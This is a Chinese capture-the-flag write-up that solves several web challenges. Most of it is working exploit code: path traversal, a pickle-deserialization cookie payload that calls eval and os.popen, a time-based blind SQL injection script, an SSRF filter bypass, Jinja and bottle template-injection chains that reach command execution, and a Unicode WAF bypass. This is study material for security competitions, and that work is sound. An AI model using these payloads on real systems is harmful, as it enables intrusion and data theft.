Web

Signin

题目

 1# -*- encoding: utf-8 -*-
 2'''
 3@File    :   main.py
 4@Time    :   2025/03/28 22:20:49
 5@Author  :   LamentXU 
 6'''
 7'''
 8flag in /flag_{uuid4}
 9'''
10from bottle import Bottle, request, response, redirect, static_file, run, route
11with open('../../secret.txt', 'r') as f:
12    secret = f.read()
13
14app = Bottle()
15@route('/')
16def index():
17    return '''HI'''
18@route('/download')
19def download():
20    name = request.query.filename
21    if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
22        response.status = 403
23        return 'Forbidden'
24    with open(name, 'rb') as f:
25        data = f.read()
26    return data
27
28@route('/secret')
29def secret_page():
30    try:
31        session = request.get_cookie("name", secret=secret)
32        if not session or session["name"] == "guest":
33            session = {"name": "guest"}
34            response.set_cookie("name", session, secret=secret)
35            return 'Forbidden!'
36        if session["name"] == "admin":
37            return 'The secret has been deleted!'
38    except:
39        return "Error!"
40run(host='0.0.0.0', port=8080, debug=False)

目录穿越拿secret

1./.././../secret.txt
1Hell0_H@cker_Y0u_A3r_Sm@r7

看到get_cookie打pickle反序列化(get_cookie中会进行pickle反序列化)

 1from bottle import cookie_encode
 2import os
 3
 4secret = "Hell0_H@cker_Y0u_A3r_Sm@r7"
 5
 6class Name:
 7    def __reduce__(self):
 8        return (eval, ("""__import__('os').popen('calc').read()""",))
 9
10exp = cookie_encode(('session',{"name": [Name()]}),secret)
11print(exp)

ezsql(手动滑稽)

这题大概fuzz一下可以发现username处waf很多

 1,
 2-
 3=
 4|
 5*
 6&
 7空格
 8order by
 9like
10handler
11and
12union

在password处会对单双引号进行转义

那我们只需要想办法构造闭合然后打时间盲注,由于会对单引号进行转义,我这里用的无列名注入

 1import requests
 2
 3url = "xxxxx"
 4result = ""
 5i = 0
 6
 7while True:
 8    i = i + 1
 9    head = 32
10    tail = 127
11    while head < tail:
12        mid = (head + tail) >> 1
13       # 查表名
14        # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
15        # 无列名注入
16        # payload = "select b from (select 1 as b,2 union select * from user limit 1,1)xrntkk"
17        payload = "select b from (select 1 as b union select * from double_check limit 1,1)xrntkk"
18
19
20        data = {
21            'username': "1'or\t1=",
22            'password': f'or if(ascii(substr(({payload}),{i},1))>{mid},sleep(1),1)#'
23        }
24        try:
25            r = requests.post(url, data=data, timeout=1)
26            print(r.text)
27            tail = mid
28        except requests.exceptions.Timeout:
29            head = mid + 1
30        except Exception as e:
31            print(f"An unexpected error occurred: {e}")
32            break
33
34    if head != 32:
35        result += chr(head)
36    else:
37        break
38    print("[*]Result : "+result)

可以拿到key

1[*]Result : dtfrtkcc0czkoua9S

image

在doublecheck.php中输入拿到的key后,会跳转到index.php,可以进行命令执行但是无回显

1cat%09/flag.txt>/var/www/html/flag

Fate

源码

 1#!/usr/bin/env python3
 2import flask
 3import sqlite3
 4import requests
 5import string
 6import json
 7app = flask.Flask(__name__)
 8blacklist = string.ascii_letters
 9def binary_to_string(binary_string):
10    if len(binary_string) % 8 != 0:
11        raise ValueError("Binary string length must be a multiple of 8")
12    binary_chunks = [binary_string[i:i+8] for i in range(0, len(binary_string), 8)]
13    string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks)
14    
15    return string_output
16
17@app.route('/proxy', methods=['GET'])
18def nolettersproxy():
19    url = flask.request.args.get('url')
20    if not url:
21        return flask.abort(400, 'No URL provided')
22    
23    target_url = "http://lamentxu.top" + url
24    for i in blacklist:
25        if i in url:
26            return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~')
27    if "." in url:
28        return flask.abort(403, 'No ssrf allowed')
29    response = requests.get(target_url)
30
31    return flask.Response(response.content, response.status_code)
32def db_search(code):
33    with sqlite3.connect('database.db') as conn:
34        cur = conn.cursor()
35        cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))")
36        found = cur.fetchone()
37    return None if found is None else found[0]
38
39@app.route('/')
40def index():
41    print(flask.request.remote_addr)
42    return flask.render_template("index.html")
43
44@app.route('/1337', methods=['GET'])
45def api_search():
46    if flask.request.remote_addr == '127.0.0.1':
47        code = flask.request.args.get('0')
48        if code == 'abcdefghi':
49            print('0 win!')
50            req = flask.request.args.get('1')
51            try:
52                req = binary_to_string(req)
53                print(req)
54                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
55            except:
56                flask.abort(400, "Invalid JSON")
57            if 'name' not in req:
58                flask.abort(400, "Empty Person's name")
59
60            name = req['name']
61            if len(name) > 6:
62                flask.abort(400, "Too long")
63            if '\'' in name:
64                flask.abort(400, "NO '")
65            if ')' in name:
66                flask.abort(400, "NO )")
67            """
68            Some waf hidden here ;)
69            """
70
71            fate = db_search(name)
72            if fate is None:
73                flask.abort(404, "No such Person")
74
75            return {'Fate': fate}
76        else:
77            flask.abort(400, "Hello local, and hello hacker")
78    else:
79        flask.abort(403, "Only local access allowed")
80
81if __name__ == '__main__':
82    app.run(debug=True)

审计一下源码,看到init_db里面的fake flag,思路大概就是要在/proxy路由ssrf访问/1337路由去sql读flag

先看proxy,会将传入的url拼接到http://lamentxu.top后面

这里可用@来绕过

接着有两个判断,url中不能存在字母和.

这里用长整型绕过即可

/proxy?url=@2130706433:8080/1337

接着我们看/1337

1code = flask.request.args.get('0')
2if code == 'abcdefghi':
3    print('0 win!')

第一个判断要求传入一串字母,直接传显然过不了/proxy处的判断

我们这里可以二次编码绕过

接着往下看

 1req = flask.request.args.get('1')
 2            try:
 3                req = binary_to_string(req)
 4                print(req)
 5                req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;)
 6            except:
 7                flask.abort(400, "Invalid JSON")
 8            if 'name' not in req:
 9                flask.abort(400, "Empty Person's name")
10
11            name = req['name']
12            if len(name) > 6:
13                flask.abort(400, "Too long")
14            if '\'' in name:
15                flask.abort(400, "NO '")
16            if ')' in name:
17                flask.abort(400, "NO )")
18            """
19            Some waf hidden here ;)
20            """
21
22            fate = db_search(name)
23            if fate is None:
24                flask.abort(404, "No such Person")
25
26            return {'Fate': fate}

这里会将传入的内容通过binary_to_string从二进制转换成字符串,接着会解析为json。接着有一连串waf。

这里我们通过字典绕过,然后构造闭合读flag即可

exp

 1import requests
 2
 3#字符串转二进制
 4def string_to_binary(input_string):
 5    binary_chunks = [bin(ord(char))[2:].zfill(8) for char in input_string]
 6    return ''.join(binary_chunks)
 7
 8url = "xxxxxxx"+"/proxy?url=%40%32%31%33%30%37%30%36%34%33%33%3a%38%30%38%30%2f%31%33%33%37%3f%30%3d%25%36%31%25%36%32%25%36%33%25%36%34%25%36%35%25%36%36%25%36%37%25%36%38%25%36%39%26%31%3d"
 9payload = string_to_binary("""{"name": {"'))))))) union select FATE from FATETABLE where NAME='LAMENTXU'--":666}}""")
10# print(payload)
11req = requests.get(url+payload)
12data = req.json()
13print(data['Fate'])

Now you see me 1

从源代码中找出关键代码

 1# YOU FOUND ME :)
 2# -*- encoding: utf-8 -*-
 3'''
 4@File    :   src.py
 5@Time    :   2025/03/29 01:10:37
 6@Author  :   LamentXU 
 7'''
 8import flask
 9import sys
10
11enable_hook = False
12counter = 0
13
14def audit_checker(event, args):
15    global counter
16    if enable_hook:
17        if event in ["exec", "compile"]:
18            counter += 1
19            if counter > 4:
20                raise RuntimeError(event)
21
22lock_within = [
23    "debug", "form", "args", "values", 
24    "headers", "json", "stream", "environ",
25    "files", "method", "cookies", "application", 
26    'data', 'url' ,'\'', '"', 
27    "getattr", "_", "{{", "}}", 
28    "[", "]", "\\", "/","self", 
29    "lipsum", "cycler", "joiner", "namespace", 
30    "init", "dir", "join", "decode", 
31    "batch", "first", "last" , 
32    " ","dict","list","g.",
33    "os", "subprocess",
34    "g|a", "GLOBALS", "lower", "upper",
35    "BUILTINS", "select", "WHOAMI", "path",
36    "os", "popen", "cat", "nl", "app", "setattr", "translate",
37    "sort", "base64", "encode", "\\u", "pop", "referer",
38    "The closer you see, the lesser you find."] 
39        
40app = flask.Flask(__name__)
41
42@app.route('/')
43def index():
44    return 'try /H3dden_route'
45
46@app.route('/H3dden_route')
47def r3al_ins1de_th0ught():
48    global enable_hook, counter
49    name = flask.request.args.get('My_ins1de_w0r1d')
50    if name:
51        try:
52            if name.startswith("Follow-your-heart-"):
53                for i in lock_within:
54                    if i in name:
55                        return 'NOPE.'
56                enable_hook = True
57                a = flask.render_template_string('{#{name}#}')
58                enable_hook = False
59                counter = 0
60                return a
61            else:
62                return 'My inside world is always hidden.'
63        except RuntimeError as e:
64            counter = 0
65            return 'NO.'
66        except Exception as e:
67            return 'Error'
68    else:
69        return 'Welcome to Hidden_route!'
70
71if __name__ == '__main__':
72    import os
73    try:
74        import _posixsubprocess
75        del _posixsubprocess.fork_exec
76    except:
77        pass
78    import subprocess
79    del os.popen
80    del os.system
81    del subprocess.Popen
82    del subprocess.call
83    del subprocess.run
84    del subprocess.check_output
85    del subprocess.getoutput
86    del subprocess.getstatusoutput
87    del subprocess.PIPE
88    del subprocess.STDOUT
89    del subprocess.CalledProcessError
90    del subprocess.TimeoutExpired
91    del subprocess.SubprocessError
92    sys.addaudithook(audit_checker)
93    app.run(debug=False, host='0.0.0.0', port=5000)

很明显的 SSTI,我们需要绕过一些过滤,看了一下发现 config 没有被过滤,所以我们可以用它来写入键值。

通过content-type传参来进行绕过waf

Payload:

1{{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
 1GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09a=config%}{%print(a.update(lip=a|attr(request.mimetype)))%}{%23 HTTP/1.1
 2Host: eci-2zealrk72foronxmxgze.cloudeci1.ichunqiu.com:8080
 3Content-Type: lipsum
 4Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 5Connection: close
 6
 7GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09a=config%}{%print(a.update(gl=a.lip|attr(request.mimetype)))%}{%23 HTTP/1.1
 8Host: eci-2zealrk72foronxmxgze.cloudeci1.ichunqiu.com:8080
 9Content-Type: __globals__
10Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
11Connection: close
12
13GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09a=config%}{%print(a.update(get=request.mimetype))%}{%23 HTTP/1.1
14Host: eci-2zealrk72foronxmxgze.cloudeci1.ichunqiu.com:8080
15Content-Type: __getitem__
16Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
17Connection: close
18
19GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09a=config%}{%print(a.update(bui=request.mimetype))%}{%23 HTTP/1.1
20Host: eci-2zealrk72foronxmxgze.cloudeci1.ichunqiu.com:8080
21Content-Type: __builtins__
22Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
23Connection: close
24
25GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09a=config%}{%print(a.update(ev=request.mimetype))%}{%23 HTTP/1.1
26Host: eci-2zealrk72foronxmxgze.cloudeci1.ichunqiu.com:8080
27Content-Type: eval
28Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
29Connection: close
30
31GET /H3dden_route?My_ins1de_w0r1d=Follow-your-heart-%23}{%set%09a=config%}{%print(a.glb|attr(a.get)(a.bui)|attr(a.get)(a.ev)(request.mimetype))%}{%23 HTTP/1.1
32Host: eci-2zealrk72foronxmxgze.cloudeci1.ichunqiu.com:8080
33Content-Type: __import__('os').popen('mkdir static;cat /flag_h3r3 > static/flag').read()
34Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
35Connection: close

访问/static/flag拿到flag

Now you see me 2

这题跟上题打法一样,只是更换了传参的方式

1GET /H3dden_route?spell=fly-%23}{%set%09a=config%}{%print(a.update(clss=a|attr(request.range.units)))%}{%23 HTTP/1.1
2Host: 127.0.0.1:5000
3Range: __class__=100-200
4Connection: close

拿到一张图片,用在线解密提取图片隐藏信息,无需密码

1flag{__M@g1c1@ans_M@stering_M@g1c__}

出题人已疯

题目源码

 1# -*- encoding: utf-8 -*-
 2'''
 3@File    :   app.py
 4@Time    :   2025/03/29 15:52:17
 5@Author  :   LamentXU 
 6'''
 7import bottle
 8'''
 9flag in /flag
10'''
11@bottle.route('/')
12def index():
13    return 'Hello, World!'
14@bottle.route('/attack')
15def attack():
16    payload = bottle.request.query.get('payload')
17    if payload and len(payload) < 25 and 'open' not in payload and '\\' not in payload:
18        return bottle.template('hello '+payload)
19    else:
20        bottle.abort(400, 'Invalid payload')
21if __name__ == '__main__':
22    bottle.run(host='0.0.0.0', port=5000)

用 import 加载模块,然后修改属性去实现变量持久化,从而去 RCE,然后可以用模板函数 include 去读文件

 1%0a%import+os;os.a='__imp'
 2%0a%import+os;os.b='ort__'
 3%0a%import+os;os.a%2B=os.b
 4%0a%import+os;os.b='("os"'
 5%0a%import+os;os.a%2B=os.b
 6%0a%import+os;os.b=').sys'
 7%0a%import+os;os.a%2B=os.b
 8%0a%import+os;os.b='tem("'
 9%0a%import+os;os.a%2B=os.b
10%0a%import+os;os.b='ca'
11%0a%import+os;os.a%2B=os.b
12%0a%import+os;os.b='t+/f*'
13%0a%import+os;os.a%2B=os.b
14%0a%import+os;os.b='>1")'
15%0a%import+os;os.a%2B=os.b
16%0a%import+os;exec(os.a)
17
18%0a%import os;eval(os.a)
19%0a%include('1')

ez_puzzle

非预期

查看puzzle.js,看到有一大段base64

image

cyberchef转换一下

image

发现是zlib

image

看到一串hex

反转一下转字符串就能拿到flag

image

预期解

image-20250418143438792

这题打开控制台会触发反调试

右键从忽略列表中移除即可

image-20250418143550982

在代码中可以找到startTime和endTime,猜测应该是endTime-startTime来判断时间,所以直接在控制台给startTime赋一个大值

startTime=66666666666666

然后把拼图拼好即可拿到flag

出题人又疯(复现)

聊聊bottle框架中由斜体字引发的模板注入(SSTI)waf bypass - LamentXU - 博客园

image-20250418141321411

这题主要是由于bottle框架中对编码检查的不严谨,所以可以利用python中会将exec执行的代码中的斜体字转换为对应的ASCII字符的特性来绕过waf。但是由于url编码问题,题目环境中只有o和a能够成功。

image-20250418142516624

详细的得看lamentxu师傅的博客。

所以这题我们就可以把

'o'替换为'%ba',
'a'替换为'%aa',

payload

{{open('/flag').read()}}
替换
{\{%bapen('/flag').read()}}  //这里的"\"是防止hugo报错加的,实际不需要

image-20250418142714072